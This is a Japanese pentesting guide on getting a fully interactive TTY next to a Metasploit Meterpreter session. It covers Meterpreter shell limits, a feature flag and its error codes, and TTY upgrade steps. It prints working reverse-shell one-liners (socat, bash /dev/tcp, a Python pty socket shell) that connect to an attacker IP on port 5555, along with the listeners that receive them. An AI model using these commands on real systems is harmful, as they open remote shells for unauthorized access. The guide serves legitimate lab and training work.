コンテンツにスキップ

Fully Interactive TTY

vim や tmux など、端末制御が必要な作業向けの手順です。Meterpreter の shell の制限と、攻撃機側でフル TTY を取得する方法を説明します。

受け方vim / tmux / 矢印キー・履歴
Meterpreter の shell半対話。vim / tmux には不向き
Meterpreter の shell -t / shell -it環境によっては PTY の起動や操作に失敗する
msfconsole で受けた command shell セッションCtrl-Z でセッションがバックグラウンドに移るため、TTY の調整が難しい
攻撃機側の socat / nc で直接受けたリバースシェルフル TTY にできる

Meterpreter セッションを維持しながら、フル TTY が必要なときは 別のリバースシェルを msfconsole の外で待ち受けます。

Meterpreter 操作 の shell は、プロセスの標準入出力をチャネルで繋いだ 半対話シェルです。次の制限があります。

  • 矢印キー、タブ補完、コマンド履歴が期待どおり動かないことが多い。
  • Ctrl-Z は対象シェルのジョブ制御ではなく、Meterpreter の background として処理される。
  • このため、従来の TTY 調整手順(stty raw -echo; fg)を Meterpreter 内では完了できない。

関連する上流の変更は次のとおりです。

shell -it の -i オプションは機能フラグ fully_interactive_shells で制御され、既定では無効です。上流の注記では開発が中断されており、mettle の HTTP 通信など遅い転送方式では操作がもたつくとされています。

features は msfconsole 側のコマンドです。meterpreter > では実行できません。

meterpreter > background
msf6 > features print
msf6 > features set fully_interactive_shells true
msf6 > sessions -i 1

機能フラグを有効にしても、対象が mettle(sysinfo の BuildTuple が *-linux-musl)の場合は失敗することがあります。

meterpreter > shell -it
[*] env TERM=xterm HISTFILE= /usr/bin/script -qc /bin/bash /dev/null
Process 1889 created.
Channel 2 created.
id
[-] core_channel_write: Operation failed: 32
meterpreter > execute -f /bin/bash -c -i -p
Process 1903 created.
Channel 4 created.
id
[-] core_channel_write: Operation failed: 9
コード意味(Linux)考えられる原因
32EPIPE(Broken pipe)script などで立てた子プロセスが即終了し、stdin が切れた
9EBADF(Bad file descriptor)PTY チャネルへの書き込みに使うファイル記述子が無効になっている

既定では -i が登録されていません。利用できるオプションは shell -h で確認してください。通常の shell が動作するかも確認し、PTY 付きシェルだけが失敗するケースと切り分けます。

sysinfo
shell

別のリバースシェルでフル TTY を取得する

Section titled “別のリバースシェルでフル TTY を取得する”

攻撃機(msfconsole とは別ターミナル):

ターミナルウィンドウ
socat file:`tty`,raw,echo=0 tcp-listen:5555

対象(meterpreter > shell の中):

ターミナルウィンドウ
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.16.10:5555

攻撃機側の端末は最初から raw モードのため、通常は追加の stty なしで vim / tmux を使えます。例の 10.10.16.10 は、対象から到達できる攻撃機の IP アドレスに置き換えてください。

攻撃機:

ターミナルウィンドウ
nc -lvnp 5555

対象側(Meterpreter の shell 内)からリバースシェルを接続します。bash の /dev/tcp を使う例です。

ターミナルウィンドウ
bash -c 'bash -i >& /dev/tcp/10.10.16.10/5555 0>&1'

Python 3 がある場合:

ターミナルウィンドウ
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.16.10",5555));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

nc を動かしている端末で TTY を調整します。事前に攻撃機側で stty size を実行し、行数と列数を控えてください。次の 40 と 120 はその値に置き換えます。

ターミナルウィンドウ
# 対象シェル側(まだ PTY でなければ)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z でローカルジョブに戻す
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 40 cols 120

ここで vim や tmux を使います。

3. 最初から command shell を msfconsole の外で受ける

Section titled “3. 最初から command shell を msfconsole の外で受ける”

フル TTY を使う作業が多い場合は、最初のリバースシェルを multi/handler ではなく socat / nc で受けます。Meterpreter が必要になったら、そのシェルから別の Meterpreter セッションを開くか、ハンドラと待ち受け の昇格手順を使います。

やりたいこと手段
ファイル転送、post モジュール、portfwd、資格情報の確認Meterpreter セッション
短いコマンド確認Meterpreter の shell
vim / nano / tmux / 対話的な su / sshmsfconsole の外で受けた socat / nc のシェル
Meterpreter 内でフル TTY を試すshell -it の機能フラグと対象環境を確認する